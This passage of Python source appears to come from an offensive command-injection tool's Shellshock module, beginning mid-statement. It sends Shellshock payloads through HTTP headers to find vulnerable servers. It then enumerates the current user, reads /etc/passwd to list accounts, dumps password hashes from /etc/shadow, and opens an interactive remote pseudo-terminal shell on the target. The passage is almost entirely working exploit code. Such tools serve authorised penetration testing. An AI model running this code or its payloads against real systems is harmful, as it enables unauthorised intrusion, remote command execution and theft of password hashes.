"\$(.*)", settings.IS_ROOT) cmd = ''.join(cmd).replace("(","").replace(")","") shell, payload = cmd_exec(url, cmd, cve, check_header, filename) info_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") info_msg = "The current user is " + str(cu_account) output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if shell != "0": sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: info_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The current user is " + str(cu_account) + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # System users enumeration #------------------------------- if menu.options.users: cmd = settings.SYS_USERS sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1 : sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." print("\n" + settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int(fields[1]) < 99 : is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else : is_privileged = "" is_privileged_nh = "" else : is_privileged = "" is_privileged_nh = "" print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") sys.stdout.flush() pass except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass settings.ENUMERATION_DONE = True #------------------------------------- # System password enumeration #------------------------------------- if menu.options.passwords: cmd = settings.SYS_PASSES sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] info_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate (/etc/shadow) format except IndexError: if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") print(fields[0]) output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL >= 2: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = settings.info_msg no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = settings.info_msg no_result = False else: percent = str(float_percent)+ "%" if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() info_msg = "The (" + check_header + ") '" info_msg += url + Style.RESET_ALL + Style.BRIGHT info_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL < 2: print("") print(settings.print_bold_info_msg(info_msg)) sub_content = "\"" + payload + "\"" print(settings.print_sub_content(sub_content)) # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL != 0: print("") while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input(settings.print_question_msg(question_msg)) else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL raise SystemExit() else: # Pseudo-Terminal shell print("") go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell= "" if len(gotshell) == 0: gotshell= "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL >= 2: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except TypeError: break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) continue break else: continue if no_result: if settings.VERBOSITY_LEVEL != 2: print("") err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() except _urllib.error.URLError as err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print("") print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: print(settings.print_critical_msg(err_msg + ".")) raise SystemExit()